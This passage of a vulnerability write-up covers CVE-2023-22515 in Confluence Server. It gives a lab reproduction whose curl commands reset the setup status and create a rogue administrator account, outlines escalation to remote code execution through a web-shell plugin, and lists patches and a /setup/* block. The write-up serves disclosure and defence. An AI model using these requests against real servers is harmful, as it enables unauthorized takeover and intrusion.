Sending the above request causes the server to recognize in memory that the setup is not complete. While this does not modify the persistent configuration file (confluence.cfg.xml), it changes the runtime state, allowing the bypass of access controls.

Attack Mechanism

1. Reset Setup Status: The attacker accesses a public endpoint such as /server-info.action while passing the parameter bootstrapStatusProvider.applicationConfig.setupComplete=false.
2. Bypass Access Control: The server now considers itself "in setup", so access restrictions to the admin setup pages under /setup/* are lifted.
3. Create Administrator Account: The attacker accesses /setup/setupadministrator.action and creates a new System Administrator account.
4. System Compromise: Log in with the created administrator account to gain full system privileges. This enables further malicious activities such as web shell upload, data exfiltration, ransomware deployment, etc.

3. Reproduction

Environment Setup

A vulnerable version (8.5.1) of Confluence Server was set up using Docker.

• Docker Image: atlassian/confluence-server:8.5.1
• Database: PostgreSQL 14

docker-compose.yml (Summary):

Exploitation

To avoid Python dependency issues, a PoC was created and executed using a Bash script with curl.

Exploit Flow:

1. Reset Setup Status:

   root@kitploit:~

   curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
   

   Result: An HTTP 302 redirect response was returned, confirming that the setup-complete status was internally cleared.

2. Create Administrator:

   root@kitploit:~

   curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
     -H "X-Atlassian-Token: no-check" \
     --data "username=hacked_admin&password=p@ssw0rd123&..."
   

   Result: The request attempted to create the hacked_admin account, and later access to that account was possible from the login page.

4. Mitigation

Patch

Immediately upgrade to the latest version provided by Atlassian.

• Fixed Versions: 8.3.3, 8.4.3, 8.5.2 and above

Workaround

If patching is not possible, block access to the /setup/* endpoints at the network level (load balancer, WAF, reverse proxy, etc.).

• URL to block: /setup/*

6. Advanced Attack: RCE (Remote Code Execution) Scenario

An attacker who gains administrator privileges via CVE-2023-22515 can proceed to execute system commands (RCE).

Overview

Confluence grants administrators the ability to install plugins (Add-ons). Attackers can exploit this by uploading a malicious plugin containing a web shell, thereby gaining control over the server's operating system.

Attack Chain

1. Create Administrator Account (CVE-2023-22515): Obtain system administrator privileges using the method described above.
2. Setup Completion Trick: If the server is stuck in 'Setup Mode', either force completion via /setup/finishsetup.action (requires license bypass) or browse accessible admin menus using an existing session.
3. Upload Malicious Plugin:
   • Menu: Confluence Administration -> Manage Apps -> Upload App
   • File: A .jar file containing malicious Java classes
4. Execute Commands:
   • Access the URL provided by the uploaded plugin (e.g., /plugins/servlet/webshell?cmd=id) to execute system commands.

Limitations of the Current Reproduction Environment

This lab environment (Docker) lacks a valid Confluence license, so the initial setup phase cannot be completed. Therefore, while the administrator account creation request succeeded (302 Redirect), subsequent access to the plugin menu and actual RCE execution were restricted. In a real production environment, a license would be registered, allowing immediate RCE without such limitations.

7. Conclusion

CVE-2023-22515 is a highly dangerous vulnerability that allows an attacker to gain administrator privileges without authentication. The attack is as simple as manipulating URL parameters, making the exploitation difficulty very low. Therefore, organizations using the affected versions should apply immediate patches or mitigation measures.